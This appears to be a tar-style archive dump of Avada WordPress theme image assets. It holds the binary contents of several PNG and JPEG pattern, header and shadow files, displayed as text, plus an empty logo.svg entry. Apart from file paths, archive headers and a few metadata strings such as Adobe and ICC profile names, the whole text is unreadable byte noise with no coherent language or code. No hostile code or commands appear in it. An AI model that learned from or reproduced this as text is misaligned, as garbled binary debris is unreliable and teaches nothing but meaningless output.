BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATx1 Es!ΘmAR?SyMCGE!y0;4B`Gb}yZ%;03sHo$=_4 u! IHh|>.#D4ٻABHm[RJH"LIf3C7x߷)]3޿c.xRݝ牙m۟7::Ϋ:Ϋ:ΫaB~IENDB`Avada/assets/images/patterns/header7.jpg000064400000014521152342437710014223 0ustar00ExifII*Ducky<1http://ns.adobe.com/xap/1.0/ Adobed       \L!1AQ"q2aBR#3$rs6!1AQq"2B3 ?湸B7fV%f7(X5k_ "Z\k;S?٪!^; Mu۽^EY9>Q1 g mtthkZ7Eܝ~-u;s"+@s]Kmw;[]1yi0ґ^URkf1Vrm:@,QQST鮩TM5__@?I(KdťȘ f7,i#4N';e@e}[3]suTk]XFϐ]xZؼ Ֆ$Ǣznl]kuӪy)\skKSMb$23k4{{:}K2˳&8代tn*zzt;Y&EUlI]jk~;}3yi*V:Tb|dFƛ[Ds94+ YmK#UDIclfjպEE]@"">QSTP2y_(qVR>"v=Ѳa`Ygvv1ѳV:lsZצT]QQz}UD3px YV̱פhIێ8Vk딠%yi3QV5%bu=UƇ9|UmٳkM.u=4]v1_@/Mtׯlė)JX׹"Uutc*aicvV%c$r%Ec،^u+>_,t{s)szJ9+3nkMSMBNRMe].4wM3{s?Tf1\' nm+j6 篦zqZ^Afɟ_5Ͳ({cѹuW5U˯xn*is!4]$-I2WjͨtǴfvc %̥j| 'e\;ّҬn~ͩv`ƼmF*Ҳ]=j#WVkf0YiQu}Xmͩɪ{İTsY%F#?ab<q_~?jqbW5iCn^Sٽ -XFnLtEO?nRaoy2Vr8Q Yq]3ލGkl}wPM\YɒdQ?HW7 p1/O4ti8w5ޭ]gڋRHV~oY͟|7e[RTϳr61S>ARka?#*5W`ME#+\_#RȾKq;j"ݧ܋)LG+ڹ'MW1X*{#Ԯ(UIaFz<ى>^?sm$ ;GnG3z̍k.&nU9ߏ˛ݶi7KzpD1rّR*5#5ljDsK._@\v.2#Z;"qy^g;#cUd35*.K#ܨD]RK[UJlAW7l )xl}j"+Qtwφ'-qiő>7+4VKj,uwy#jto\8 <)a B+J7F$ն&b9ߴ:.AgXH1vh=ħkj5~MdO.V&rNWϱl.7 zzdbmdi}(r6=[qE/wVEk> "ef6Qtn䰎{{FxsFʎw?8̋s9Nץf}ѣȒ]]}2MlQ\[&|_'w}u|"%5$ksDUUUO ~_^ꉵc|QWܨcx^4ZqM 4:dzftoPkf?OM̽wf;]E&Dv;s7>P+\F:6 0ە1jz"@5q<2G761k5Ѣ=˻TSxs8de|f,6#nވEcy0OD^"9kuckUܹL7<_Âp`rR(#fJ\*H_ͧEdw/s86mX'A,jc{cWWx~gbY)ΨslղF9Њa|eW;O nm*5]Y6tj7~0E6_:*,ZV50̼dzy7#s$]l[ǽ;MoMM}0?lTZ9O+d*5kߗOdS>o#w(]e?*z"hqi՗7U൑\9&l=SM޿r'}9IN IDH%r+]ZDuZqv'0S>F4 Tnצt9ۆ[Zcgv Ů:䉝ȧh9%܎oT6G/.f9L%Fڳon~6BȘUP/@k!Y>bVV.N8ȶ­ j7'z)UFSVqc𸚘|}Tl01U\Uz@Avada/assets/images/patterns/pattern18.png000064400000041124152342437710014535 0ustar00PNG  IHDR>lytEXtSoftwareAdobe ImageReadyqe<AIDAT[`b\׵b*[2j냔Hyvy{dgaާWLބa 9ArQ 2ܶ:;tk>,+=qr)j\;dYp QC 3jX`,\-LI6cdqt݉PܶK8*[ql@0pr^hdld9^̅j({s2½PeڻscCENz ;2_>6z.w޵%]WȮM. %æc﹥xrfd28+SG\'>c~5sdqd:݌Ě6?2Wʇw>ȶg >Ne JpE)Ʊn7&K/ !ׯ]eƳ :EjJ~ W7䗞TpHPm)6`/]pH#aw'ZE+t:?x8:O1o;]sGz5ԣ&C%H̀ǙmH^S/PQAdj?x'= ץd[BIP3]j2Ә.gܠwl#a{yXG !aR]O5_iD 8A^nNT&9 iav!K9(1~1No ak0c3|ݝt+c3X=L.8%Sd%S/ʘ^tuޯd!~(]Ó0=9kP~ӂ=fDqwGiocq80LfsP,pd7Š2vc>}~ۙx>Xw}-|n3T MBqH 8ueWUm/QYR8Lq4|`'Uy.–ؚmz*7Sj2+v`C>ua/f*Ku9WJ '% Nf![6?|l }ef0e>77Y%7/yv/ MDE cy` !6ME{ɏ!n @I!ؤ d$Oue5% ʟo|wevoQ1t}O΃zt;9+w}l)һuf~a2 fP"[<ٖݯ 3V 85>QD%ܛ&rV=Qs>ɺ3yZmѺM繁:8.bsd -wpo(iƮGNT/S6LdUHJ9i9H61H.N=gN>;U, Qdl|Zbܶx@Ώ>﫫~Yf-;m]`'v!L~ԹvQﶰxo+]UNX{wrs8?/| InYϲw,'LCKt9UJFokؐ<Ź?uW;|>\uwn\W) dekH<9LDHFVX/paPI9%pT6<b|KnT΃.<[=2frrw[Vsfb!3;7&~ J6fF^F'csʪ苣t*)ea[2>CΙ.al ov8d m ح؜# cҵ3H+V"s̀]pwG#_CݢQآd7,FX`67lBDY"_.lĿ04?dwC ,'f|u>*I'F˃Y`cJg/^ml.N!\ [ u8 [Ǯv_aq;LQa]x:a5#Yu f=&2acxIzE6Gl!&%Nwg6e|w7 s8*!F9st0Pn1d~Xa+#7|IpI>FHK^ a%?D Fۆ؀،}\_A`Sei(i }pl.\h矈X6| v>]lGsKcAUmL%,LB1:CxX伐ߺ:Rks 3&KAd5"L[seq!ñX=/agu SӰd@ ˜ޜ!coe8MBI_ ݗ⒒>~V~|Y7o0Y鞳> #؍ l8F__E@6a%B/ AZkB\T'θzpB=3}>cy.lQơf +9[e'NVS9c8O0n33n+,*2Q32%z,ߦ]:Ƕ\hB$2~4οa&nxY,9?ދ014lnHךgg`H0y`ȩ YF}W=@0dΧeZtqD1cHs!;4_½}P8$\NdRfc{˜U/v-^ {E1CY^֞G\}W!pV fsN<7VݙI֏&;̂7Xۑ?\\ܞ4dd% &9XY43y=!EeK/;*2q.rǢ{3l 0tɻ#)L> G "ksݘS"8t&A`vekŲ,l6"y &+ #5{W7 C59.ۏ3iSF[ L`cGvz {VN \~d-L&c1vdߟAd(#(M6l l3`w1tSl o"vÝ(2`rF_yة f" đKa_;=JY-Td9ںlE-vල ̎X}Q< VۏUqNC^KqW|i+Z?ouM9xπ@C)0c[Fܬw\tݪ:tZ zip>Ƚl&PӬʄA#f~ %Cr|ɞƻB6}cy. P3c'4MѹsR s0Ï쯏ϭa˦Y#1ql۞bwq;:m输Ma`ߴ6 >6/2!4gY;߰k.rv";;yw*z(Lƽ HO{>`Ifx,,Q]FŻ`Cyg_9{l1`A 2֠8s6mǁ?#v0_.IE|k7]Zܭ!K_8<9Bqsnex~0g q0Mf,ɂ#0H͕? f{Эm#$06O= ;BʶbՏMmPUq!C;|<-M{]LmRpSy$1D[.pO8}Ip }{-Au K2ah',lPѯԩߌa?8΂#|0LN_: D[ ЍfhL+$Y.M9t'!1ӈTq>iHd6<6*d"cuߒ׷ ꫴ̰PpV9_;. 3{mɗ -"ْq|qHq,xbyIH<}2ePvy`;A{5:ݞo"hش! h|%)]UҞ3-8?#Ո쒰h-gf~Ȓg۱8w{I Ώ_ Q0# EQf!4N0exH -Bb 2R]aX .t| {-x}Ɇva!n;ǁMRnqfx31樅n^7%ncnČ?oN(9,xv^A RҌcX-d.H0[Ȟoo3Gyece#NcX7gfN<);HsgA2x2%%{S@N[ưi5~ `{f@S5ltj̍y_i2?Cr0r)X8 5yy(?8a 8'svUiZԇ5ܻ^k0ЄcQ'}:G( `&@4ݟG'|þoژ.s*@Y6P0SHw07q~&MHd&9%Aw=;mNs|{Cr;l>>=#U_3q*|p,Fp!kV5sZЍS!{iIiW;PmҸ層3(ubh[Ă3}+p`Jg)w+ Eh@Y2Lkg ݙewlt¶ܰi=fT؋ܚA\?NVPᑽ4it}5ۢ*a4\?|vswq/?¡6gf.1"eJ 7\"3):gN$)E;|՗ޅaILw "zi۱]ŚqC䙪Gg{7fNPs$,[lGrfMo5JlQ6s64-vW]kℭ^ukˤ #39Kٶf0syMst+YWfOmb5E0/2Llvg^ܟ)~gug{MҧVz9:7iad\7J u-:4Lr* 4e"EUpicfX.9LuRu5#T/85E0_#ݍ9 69Ϟ0G?sVT21,l88O(q! , Îi`e1&^+lȏuZO0ԀIJAJΤO fd9Cܻ A4٨?ngml7e^!yJ-æg #f޷_{D}{- ^ 鶰x:FۑyJ,1Ǵn+Oe/M|{f4)v4hТn۹o9.n*3ŀ81'mwI1)c0nܵ a2"6&te8`1k(}"%(lkfUf qW(KwYw;naTvi4[vwCac"}Hx'ڑkd/_`s 8Ӻ-_?ZY9DґEzωnsa^Is$SsFpyinsh )g hNlpdeṷ`ρ4d0^eC'+2o|w43i H1XYELq+Lw<69~Hշ]f\<5R-$sL̺ t`0%ęŲb,8߄xψC>13gHΜs`V*>?m)# tNds{`eW>k*ٖwa9ǚј.Û':qΟm9aS q;͊ EN!XQv}B?XAM:S .;\_dl >س,S4^,DsUȰ24}ν\/(Mѷ)[w@v:dA!0J1 bChO r<:8 v +0tkU%tC]p[j$`98 <]q 2piϷgڛ@ 2a&XSAkWaa9 ?ffSo;H<%{cCܝbj&ܜ>4ay1> ?NNG\aLm-CS3{S+'kg~]0 ̩A,m&Hm(wd!WEoѯܓ2@l瞆_W*uS ~YUr͠ E"_>\dR(n3)H M+䰌Q>)+pfg^DH]"?fwBh3?;4o;\EY*&̴N;j HGj\gE[3abR8۠=/`e+#z%2&̡_O 2j;ZXNo-7¢8ىi;6]5` ܞ4LoζJ^^r̢L1VEb~rsg[M?PM|b c(kg̴CdqМBj0vT~8TNW>WQFC>cU9q&0$w^ߞbBhgf5NLgqx1΁݆n,,3sH=:. 푑(&ӊ]P~?cN-/؜jcih= 9 Pgu3KgZe d ΂.|El3FHHW gej6}iVO]g[L:@ !s{L+|>$ OuUst@cgX@#if_Rr/isj@HNd_A4JxH24iWPd65'Ӭ0wfeH$4gEܔ'{l)t*!q*ǥqyaѮOӠd3 Qq+c: zڄo??j#ih`;'ghg>eg 6Ӻ휭EY҇w4{Q~nwuW8jFda;cz. il 'Fćt8"ݡM= YƋl%ׁ, 0,aEa 7}:!`>9ܙh ]|vg͹W`Ж!mu9!@!t9~5f[!#ҞW  Z< 7ǍnЊn>a(C)9KebX/ {1H~ C2pc(#w" e]᳾NE"1(6$8M>w.֭rƇT nM,Oi@&{];{g B_{WsQ'XN!ӮdlD?Z0>%wDFk=; lϷ:e.Ky1"v8",n_kk_r SMW €`J#8T߿.{yD}:3mV`;=C<,8Mcmve;1x6jsUsghs3S/S=^{=_86@^߯?x;{vQgg{3Y&!3 W Mm8RKsJ_{kfழkCv1p 9q:nx~]}p#HvP <"ߊ^' kcev:/C0\e w@wG"`c. hS !g_s֑.8:~.ghv`FRGY[k)=%Tv-g7qߤ&Jx9{ 9<1]ŕ?e:6@C܈Cľ̽OK<̢ D/Kͺ)vqw/Y C `/J6 V̝OhXEbQa97[g65{<qwd;3sKgbK7w׽cNי!rOC&]\m!0p@#-ati> #fsrea_Ki1t^5ưt9G0kHw ńAQƮ"w=΁9g6O*Dž7&%؎ P7R rh-z7E_/\rR]Z6Y^.2}.]^= ( r6}>|ͤke.8 8+&..-mQnt 9ZY60Nw r Ě~j~~8 m絟˼HY8VNnǣc0.@8CEjs ϋ`~hYIw٪SFn]#+i?Wymz)FdG38p9 2(ftPX3iz0OH|GM_s\R ;cBYg)FVwݥA/Ye<:De3ٻ1uW<{[uqsXai$P R9.'Սbp1 "c>\N3ɽ_G %ITHNq.3 * B`ڙ1_̙%u;NKVUwˀmi U$9^Kq94!U6PؕiiYzr>i)i}~5lUH6bϝ^>ijOWYd9PJumQPIv9g\nػ!y9&aRٚuTdHr@'͎EcJu|{6pO9q\xgupfn,5DtJwonN xcnn| [ IFOtÝ *Fr^cg竿./ikنquw\DfA'`g_7uHJ6tp āga\d.z4l nxHr;Ȅc~+8ǁ 8.4}ENv24NF?c#tf_0<-0 W*ZsPٔ y.g[ _tg9֙^/FY0]]k-j;/0${ڒ(^rr(3 -ю"nak&;ay:v_p wgO3뾿`d>pݻq%h1gQ%esꁨ6;-(IC\ k<Ҹ㌳{A67>JӦޝ5ِLC%7}mN憃f۞!-p' |O?n+>ӂXæNhxuY6gƄ.Q Y& ɋI9ۯdRtN-^ףӛMZ6{'-s+[tasyv _ ׄ6C[t=9s v ǘۆ+ $,2actI⋒ Rz|.v$(~td_5B`Nމ".N(KvqĒfr#%]+X_ ql.#ime0wĢY2~uKW$Ͻsǎf5+#1X yp PH⤞!]Zrn?4Tt]5jF9@cuۄ[`휰ȪL^uڗ?7ˡ_Z9?hgC2$_9C۹JG5<4N4qLHsq z'uU.ٝ 0}ǜ2va9a_GV)2%_̹-FH_p9q~)]k]zХ5vWLѶ;ް민yמ}{b6rW\11 OلatS0J2f-k&oϟDݺ>=yq9oa=BccʚpG]Ғf%cdl.3g;`#=2a2~6`ڳ-A{6XUc޹0=Kcfa;0s aD_ͫe-1 ` ybEpnޒD}rqmV}T֟DD`YApmn+7ga~6L'V2^7y۽Eq+2u-G^ƞIunyٝ/7hM].Ϗ-2sŌQHͰ13i&/y #p aKA Cgqrf!ܹmɮKWΦR$4T(x;N- nQ)!el"h";[@usnj$9_9rtoeӭ0nTz c;Y9)yٷme,C5ppv&93$D8f|`ɞ|[nta߿ vINCzAf,7ftuu؎Z'}㵢*ɏӗK9aT{Wq'앟%g{ LAۀ0~U&MXyl`&(K63G_H.bfaKV:ni'eNtr^=mlt}֌HE " Ad,.)')zAXAzm^׊n& e)k㞯,Y7Z6waW6 *@e8FIm9c hg~,u }}gp{c6|nogBcr nr6`3ܫdv}UIlzvNFQvD 矄.#lP ;pD!ow)rN LPӚ8pu/Cْ ,~`{J7a<L;.u=;t~Yc pЅыzҭks]L֕rlfQ"$1挭nfЕۯCƳᅫWn{xNyAt -Ys?"$266C8qf6}{!a3rm՟80҅d[lj4OAN~F>V_a 3YrnaK0ߎMr~Ne2-0Giu[? l1*Y?l+ 9\CqYæs=)3Y ns_ag/ad[W΀JSk+ѽ߿^=}G% $$v/-ϳ _? 7"݆g` -n]M>+3W0Oߒ;. wccb/F&pҍ1l bWt=w2'㈜l>/9??5qf>iuK~?ɶS:oxw:skǺT 9Q`GD`rMkίZibox*٬g :4k׼(" Z<- -+S:߀,# Y { :ÓNvc{ 3d ddҘ[1rUJ's mD#kȀوkݿ.8Jt-ҕR&l#]r 3/n=4D] X"H.ʨIF6  \8'_WNg\㹛Js<B̝:0L ^ @EF Ձ ,PkBw8qb=k${@,#!Cǎw?ZV sIV}ZB"roL-ugBKƶmhǃn!nw20fPx`lg{=nsE1L]G 0Xο@(,4 qҤ]Ԉ0>~^8 Y=]Npo}o^Pr#br·ךlнJ aW\Æ0O ),6$EĽ^p?9^?pKbamPsgXL&̀<4.J zL%0oICu><lC2Ѕ5ϏcI`߽v{oiM jR`sڦnWV\22RwVL8Ϫ #Xz)zF+=D_Is5m1eCF5:pCMq08˯'訞 ]@~yɖW:q0]Q/2Rq cdA/-9sd&c.kd]ȖDa圖xD;Ք7L4\$0l76sım fD10ӵ L:k=&BYO4~uHty_ԌIENDB`Avada/assets/images/patterns/pattern8@2x.png000064400000005533152342437710015032 0ustar00PNG  IHDR" = pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FIDATxUA 0 JߐC`:]YF0ǁsZ%!޻R^$pP,lXy33]"7ٛY3rۏ3h7o7 i$վsQTTELIENDB`Avada/assets/images/patterns/header1.jpg000064400000017450152342437710014221 0ustar00ExifII*Ducky<1http://ns.adobe.com/xap/1.0/ Adobed       ]L!1"AQaq2#3BRr$4%&!1AQaq"2B ?璙8YFTLvJ=TkƪOdJOFvto۷]u,+ռ$2I'Lr,Lr=QW骙.qӺrC JGf^GMγ|l\I rvlʫr"z.7{EN H("dt+w"WNuDT?-׳odթޞ"yD$uC2W{k1ji@;KCDEF֢MN[oG'\{}>9Eē"-lSV^SV5rƼO&޹vLZXJ*Z9XDeN-]/dϺY?~ΩVrȱȝ6%b+#Uf/&zvK=o]{s4JGfd2Bޑ~>n\f/Ltq4lj6b׷;#5Mk:˘뷺K=]hkə rk^L]ɪb9"N@<ώ 8!,xt6"5jGnWkSi0_'Mk1_UnE,W?+n$V{M>AMw7a$`IF 6IZbVu^_aY ?ڙdcɜX.,#믢Rbc0彙2=zʱǹ#W6mo}vAkSYprOF雷TӠ7FW۰RJ=EIc]uG*~P=| \C5fҮY$͑0:hٲTUkQt+xN+-vTr yIRhd1=̙ؕX*FMWo'##};ܓvk`U¨S ,)n;m.|iRɅFVl{P!o=37BTҾz3by.@u7! 1z&*;jT \w˜%/wKdmĒ'ewYbOiHlnU:nD@*1fpp<;rҭ[2GN|ز^saz}צvQk#{%z+2W9(*n]mk)rNOsFUGLbbbnOI*Ey"gxrVei+&;i I>YTfrreJVy)Hˢ͑Sjc'-H0XFAdO/gk_@<+ l<[:N]V3lz՛u ⑌܈$wBCǔOƜV:lDrY|lX5f 38|vr,j< lScYGfyk##]wnk([fnrSfkT'S[PJYȜ#6?x_yfVbrI<U۟Ѥ_-Ea!& ejҭmfOv_s$f̻tG9Fבy;r2x ߟ-W%#Ǥ#{o ,mLG+݆;9SEXj=7i5+ esPmtck6I(aygkPY1Գac(srHmcUUz"u\_8jrfY-rMYmk#oA2~FPSJ -if9Q%c8c5zr*]lJ,N"jM^OeOTtеܪ{jԎ<9:*^.E2fux'$DsXȋU7[T3FIcqmIKjar9kQQUx3W/ɝg!G!_)5FjٚU]44q6.z 'q //DT>1S©6o r:Սƕ_Wl+| rWfZz50$^E~3Uꊪi ԸRgXdOi&{Y:[:iF6ozcSF@4<]3xYs "mfTҤ=,6%kDkxհIŭsA-:3&ZcXT|؊no&Qۺ \vr eҷE gK1dHf5VJp2s,x,sf^2=ϷTjي1ۉ#mF|NIdH](r|q'ezύ,iܕj*諪*y.+1ǶFbL%Jr8b72+\kMd +rW!wAa$5V 텚2(tUP;!d"않qJ6bl{\@,[͓TOs^**{,={t%cxCq)df,cڍHBË[𚼂x,: V5{G1W]4_/ԼSe|9e,]1+kخčUTON뉇iv%l?Avada/assets/images/shadow-bottom@2x.png000064400000002076152342437710014213 0ustar00PNG  IHDRx  tEXtSoftwareAdobe ImageReadyqe<IDATx[n0Y"qę!%@3>}DP`<O(SC?ɉA)YP` OK x{8N838.Dڞo?|C{ o }>3P@^1%)C+p9Odfff,Wذ=0kʬlRH+YǬҬgD$1?sз9߳׋ϬFf1#_3132cЦ~}*sпY=NaNSjCgcKЫ^o6ДAޡ<,.П g7S2^A~)JSnP35vuЃ>ZosѪ9smS=Δ|ߊ5[Пo۪qC i/w@f:Q3_i=oLAPn=Z3[zϞE_/E7V.XƌVA1t Kx~r} %գ.UWo\i/p{yN]ZˑW'kkkW 9+1 {ϧ&5Z2b!|=jS>6j U {W^Ty cZ2X~3" r}׽{u.ATPޜdρH5D'[}j۶/bn kk xFU?O{9BkX_^)p{rK tR{'k)cuo@:Ιm1C/dIENDB`Avada/assets/images/logo.svg000064400000010255152342437710012023 0ustar00 Avada/assets/images/shadow-bottom.png000064400000002076152342437710013641 0ustar00PNG  IHDRx  tEXtSoftwareAdobe ImageReadyqe<IDATx[n0Y"qę!%@3>}DP`<O(SC?ɉA)YP` OK x{8N838.Dڞo?|C{ o }>3P@^1%)C+p9Odfff,Wذ=0kʬlRH+YǬҬgD$1?sз9߳׋ϬFf1#_3132cЦ~}*sпY=NaNSjCgcKЫ^o6ДAޡ<,.П g7S2^A~)JSnP35vuЃ>ZosѪ9smS=Δ|ߊ5[Пo۪qC i/w@f:Q3_i=oLAPn=Z3[zϞE_/E7V.XƌVA1t Kx~r} %գ.UWo\i/p{yN]ZˑW'kkkW 9+1 {ϧ&5Z2b!|=jS>6j U {W^Ty cZ2X~3" r}׽{u.ATPޜdρH5D'[}j۶/bn kk xFU?O{9BkX_^)p{rK tR{'k)cuo@:Ιm1C/dIENDB`Avada/assets/images/page_title_bg@2x.png000064400000451504152342437710014215 0ustar00PNG  IHDR ~ؑ pHYs   OiCCPPhotoshop ICC profilexڝSgTS=BKKoR RB&*! J!QEEȠQ, !{kּ> H3Q5 B.@ $pd!s#~<<+"x M0B\t8K@zB@F&S`cbP-`'{[! eDh;VEX0fK9-0IWfH  0Q){`##xFW<+*x<$9E[-qWW.(I+6aa@.y24x6_-"bbϫp@t~,/;m%h^ uf@Wp~<5j>{-]cK'Xto(hw?G%fIq^D$.Tʳ?D*A, `6B$BB dr`)B(Ͱ*`/@4Qhp.U=pa( Aa!ڈbX#!H$ ɈQ"K5H1RT UH=r9\F;2G1Q= C7F dt1r=6Ыhڏ>C03l0.B8, c˱" VcϱwE 6wB aAHXLXNH $4 7 Q'"K&b21XH,#/{C7$C2'ITFnR#,4H#dk9, +ȅ3![ b@qS(RjJ4e2AURݨT5ZBRQ4u9̓IKhhitݕNWGw Ljg(gwLӋT071oUX**| J&*/Tު UUT^S}FU3S ԖUPSSg;goT?~YYLOCQ_ cx,!k u5&|v*=9C3J3WRf?qtN (~))4L1e\kXHQG6EYAJ'\'GgSSݧ M=:.kDwn^Loy}/TmG X $ <5qo</QC]@Caaᄑ.ȽJtq]zۯ6iܟ4)Y3sCQ? 0k߬~OCOg#/c/Wװwa>>r><72Y_7ȷOo_C#dz%gA[z|!?:eAAA!h쐭!ΑiP~aa~ 'W?pX15wCsDDDޛg1O9-J5*>.j<74?.fYXXIlK9.*6nl {/]py.,:@LN8A*%w% yg"/6шC\*NH*Mz쑼5y$3,幄'L Lݛ:v m2=:1qB!Mggfvˬen/kY- BTZ(*geWf͉9+̳ې7ᒶKW-X潬j9(xoʿܔĹdff-[n ڴ VE/(ۻCɾUUMfeI?m]Nmq#׹=TR+Gw- 6 U#pDy  :v{vg/jBFS[b[O>zG499?rCd&ˮ/~јѡ򗓿m|x31^VwwO| (hSЧc3- cHRMz%u0`:o_FHoIDATxvƲ%I*~~9vI#p6""#APCWY $rqǎIZiܟN^S9sJ) R|%k>WJ)RQO~H|.{d|RJiZ]{k}̧5/^Q<󣭛3/q($GWrΫ\J)Q+l$EΉxX?;ֺ{޻5_<^~96ץ|>S9}uZViZe|qܧ 3~ZSQ>ʵZ|N|8R.JAs<_=}-*VU>Rqd|X&r|>T6ޏx~d?)g*%4^j%' 5s<q\~=~1g*S0"K<~KVKƍwE䚼dezO݇|[~쀜(?Xʚ)WU|<oSsrjZ^O|)O"k9'/j*Q]Eo#gy:\Wka=u_o.28|ry}?2N> ~Kτ!jr/tN^{5'v Ik&Y~I 9"Ė@nf|FYݏTpR%V5yghhouy?ΗO8~ȑ՜qZ²e/X4yrϊK\ߣS/[]MD-۬7>*VL1SP''H좜_0?/Yr{A({u])~Ue^O8 /췠l6eۥu]:x<,{zo &oȇ>wy|.98_Ű%s.v^t*1N'Ћb~"zZfSK9qt<p'^^86bǟ5 = ^ȍaLe^ K ݮrz%wZv=I. ʱz6M9D=N(VUn})e<_,Ǵg/;?|,SS jۥ?#}vt:8}:y|+JtKA{f5STa{t:pik !R9۷o)uW,?N9-McKzk^\˵\osuxlY3^w9Wũ\;xEJP"V9sWG 2߲Hȍ\MsSW \O]p-Lg1tc\D 3Ǚ9d4|sy(! <z))NB@k5h9u2?䊂2YK,q 8 5/ޟx ׋d\ٯPYir?:@a]ִՄMhV;G,m[h&Xzϝ;:>-0<5qt&j-?k(y ,,)zD-z;2k cXd_ ֱF>y߹ւ+sNR7Yl컛'=}zqeMx^.Bף)ptQT@yZm . =*H_;`3ckqr;gZ+ s;,y)@zv?t/w2*}^tb"r,zo;S\F*WY@iLցq3=CYo]VtIbxs}sΧa\.W hgF9t"1:;ü}1oPmx+[,"w@}B0*ZxLϥ:2 qE*})Q?9h jdbv*+ģk3W &ƽ ]J`=TLd͡c>G>sp-Sc<~ i5d~2β_ 4G`fW?w!(T0NZ*Me"%Yjak@| (ߣJqXN@2K}g *59웋*r&s+{:F+9hsu^ 뺑rHXOYA6g ̹8|瑼+)8 4#+žw(όl}bȬIA_$. 2<'@̺ԁ]0<0JXBse/%c9? @:Ѽ<̄w:W:-ZafUWVVBJ4) bρ|Vn3+<ПakЁ[iEKc@PCry[3ZceV WZNKMEdGmFIE t C<1zK11S)'k KD~l9aum\y( +Acdja F }؜}}b_[{@ ɬ&&Ҁ9ڌOe xe#)3< PQleGF~3# f2$:U=OEas&OVt<fIwww燇tt*~u81u]'ر v@Y60 g0-#;-t`)}N\}RJ)rI' jqjVQW.5oᏌیu1;c/vz.,j|qdN ~fU,&\|F+es?A.,OIl^Q cos^:ȰݓO\lhvU]f`ugn; t:s>=??ӧOnpkxww}:iߏD^e͇!ȘQN=o&jJ]ץvD>6tJ9Gԛ>5Gg-@ZGx}~:!Ӌ`CExO<Cn+o} р232T;^s|y=暏8pBx IIX!P^qzELnZˊkKP3`[swOmf?'n@Rqa?@u#Ͽ 4@ c&,d!Y)rop| t Lc78m0qq-DtSE,)b/֊@Z-1R+<2j󛌖GQ<8hd0I 8]XA2EPc>#Sia@UM p| @_ e,F ' |ni#Nb>(ia¦<1/ .429djDlie^EǡLz2 {:YSo,yUՊ?"/vl犽γkY^G`#Ƚl=9R߫G觲@2[-` N8VgZvQӐ_Y ] P(K XWA9Ӱ8rm S+̞5N|-hPeG\ ZgF;Ɂl(rS>56/%!Q1K-`ٸ^c_f:̀\hgzCn̷r?⿌YS|b1jagxp^x9tRq^82U"1˼>cF ΏاZ u{ez)_n!v}z||̻n%7]{Q4ızҺauWciN.&^buDVb_hjrr-qQIGA 2-bI +_2ȫ`-3^qѡB$RO60 c"#.jмX?NJ:4k 4c8@ov0sMVk5vZlc ǕjL+&[TRڲ_>0[ًT{ *]qE޸oVuDm5.f4 0͋,]y]; x`lu-(l~0Ui,C@G'-!=FS;-A/h{yGN{_"e}!v[r)8}sVzCs$W^|dDo}Ėр0QAd3jL Ecދ,m`\ElM+-^, gav 2JZrMhr>S-u{q`Ke p[Jq<$N\\R_)aka>3ƻOS`nuv]zzzJ1=??RB(RRJg{RJ?R=^x9N(S  **ϡ bt3P@{Ad {@.y,juK3sqGLhLi_W˸7xANC:P'5CnₘHQ;~X~nE0SqD*VSZ罂wEH)Nt<CFFc:>0RK]׍~p: <Hk$=X,59ȼ0 XGGZiVԹ{kŽZ9^Erͳ&lQh+=]-{:^[>W(kmj[ 0HK@sm\p{Ċ%n UR},-|`-üdCOJ$ɋ@- H#pǡ020HuDs4K<8LXg1Y^e>ϝ sWF}@ր0.`Z) @^^Kq@Ͼ?V+ k [WLKuƄ '`,`|jt.|Y p!Y Z  ڍ|LHMwZ AkZ{ s+spMvEM.XDd\Y Hr["aى*0Z(d;uʼOV X%7Ed'J }^̖(*fo61+b~a$ZBV)L@f}qثB1آ1{s$(El%fIө`% XysIWi ɃL1.^h ؍)rwwh@z>. J0!/(z0mJ܏;8I\s…r. K/°xȤ[`%:G@CyX@þ€,S ,cE>8)\zkyz˻N|y/Nʺw]7xOm/ѷFVۖۡV܏ RJ8~.2v~wFFbGHVįxmZۢ+l9NY 0X qª`a dS6d ܡD-+Vb:tohB"TRJY VD! ^ywa~8N=(cD;t>_$ѐjc+Z%2&8bfFZkdvpy yc0!}W}<}‰>30m==$ Xv+&j1Ns"c$]*Vǡ0F=V4_#j)Y˱{ ʌ]e 9nc&Ő$ZKp;iOsܸ߯s'2g*@4úx bz@R-lwL bAy.ι<"שּׂ؆z#5&8.3~RJXvw(5TҞraY 3=麮hv@4[3?_C՚ BL̾2L+P/'fGf:y^sWiS EZM.2CVXQ[Y~3,fvV#Z' ;`b}k0yKG4=~R֓EoqYcC$qr C[y n.Y1#  .k9P,.ReITnO+l`al'o}g .P:L+J@@MV:ĵQLq~ 